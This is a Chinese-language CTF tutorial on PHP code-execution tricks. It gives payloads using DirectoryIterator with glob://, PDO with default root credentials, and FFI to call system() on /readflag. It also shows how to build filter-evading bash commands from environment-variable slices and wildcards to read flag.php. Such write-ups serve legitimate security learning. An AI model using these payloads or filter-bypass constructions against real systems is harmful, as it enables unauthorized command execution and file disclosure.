DirectoryIterator类
根据官方说法,这是一个提供了简单的接口,用于查看文件系统目录的内容的类,其中__toString()可以用来返回new对象时的参数中的目录内容
通常,该类会结合glob://
伪协议读取需要的文件夹下的内容,比如根目录就会用glob:///*
下面是一个简单的payload
?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
PDO类
同样先看看官方说法,说是为 PHP 访问数据库定义了一个轻量级的一致接口。
看着听绕口,实际上很好理解。只需要知道这是一个可以读取数据库的类即可。不过需要账号密码,这里就需要通过其他方式获取。
利用如下payload,就可以列出库名
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
echo($row[0])."|";
}
FFI
FFI是一个可以在php中调用外部语言命令的拓展,所以我们就可以利用这个拓展执行一些C语言命令,比如最典的system();
下面是一个比较常用的payload
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
如果出现类似下面这样的回显

就证明已经利用完成
环境变量构造命令
直接来看环境变量是如何使用的
# echo ${PWD}
/root
# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t
# echo ${PWD:~0}
t
# echo ${PWD:~A} #所以字母和0具有同样作用
t
# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
相信看到这里你一定知道要怎么构造查看指令了。也就是说,我们可以利用环境变量的输出结果来构造一个类似cat
或者nl
这样的文件查看指令,就能达到预期效果
具体要怎么构造?先来看看下面这个窗口

在网页目录使用${PATH:~A}
时,结果是n。${PWD:~A}
的结果是l。为什么呢?很简单,这个n和l分别对应bin和html的最后一个字母。学会了吗?
更高级的环境变量利用
就算所有数字全给我锁死了,只要能调用环境变量,也还是有办法利用
0:可以用字符代替
1:${#SHLVL}=1,或者${##}、${#?}。
##SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${#SHLVL}=1,然后在此shell中再打开一个shell时${#SHLVL}=2。
2:用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}代替。
3:${#IFS}=4。(部分linux下是3,mac里是4)
4或者5:${#RANDOM}返回的值大多数是4和5,其中5的概率多一些。(linux下)
再结合下面这几个常见变量值
${PWD}
:/var/www/html #可以利用这里的斜杠${USER}
:www-data #可以利用这里的a${HOME}
:当前用户的主目录(常见危险的就是root)#看情况利用,比方说root可以利用t
例如读取flag.php这个文件,首先知道能够利用/???/?a? ????.???
这样的方法读取到文件,可是如果部分符号被禁用了,只能用${}?
这几个符号,就可以构造下面三种payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? #原型:/???/?a? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.??? #原型:/???/??t ????.???
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? #原型:/???/??t ????.???
#HOSTNAME的值一般是开启web服务的用户名
#这里${#}值为0,${#...}的意思是相应...变量值的长度,例如HOSTNAME在这里的值是root,那么${#HOSTNAME}就等于4
rev
用来反向输出内容,可以是文件也可以是字符串
结合上面的环境变量可以构造出下面这样的payload
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? #原型:/???/r??
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.??? #原型:/???/??v
$?
$?
表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127
为了能够让$?
可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用<A
。
为什么要用<A
?这里<
的作用是使用zsh
(一种很像bash的unix shell)运行命令,而<A
提示的错误是no such file or dictionary
,对应错误码是1。而比较经典的Command not found
的错误码则是127。这就是为什么不直接使用A;
当错误语句的原因。至于其他错误码是什么,还有待考究
下面就这个方法提供一个常见读取flag.php的payload
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
一个小tips

看到上面这段payload了吗?和下面这段有什么区别呢?

是不是乍一看觉得一模一样?其实有经验的师傅应该一眼就看出蓝色代表了换行
所以要是检查了payload无误后又出现奇怪的报错告诉你没法执行,检查一下有没有可能是换行导致的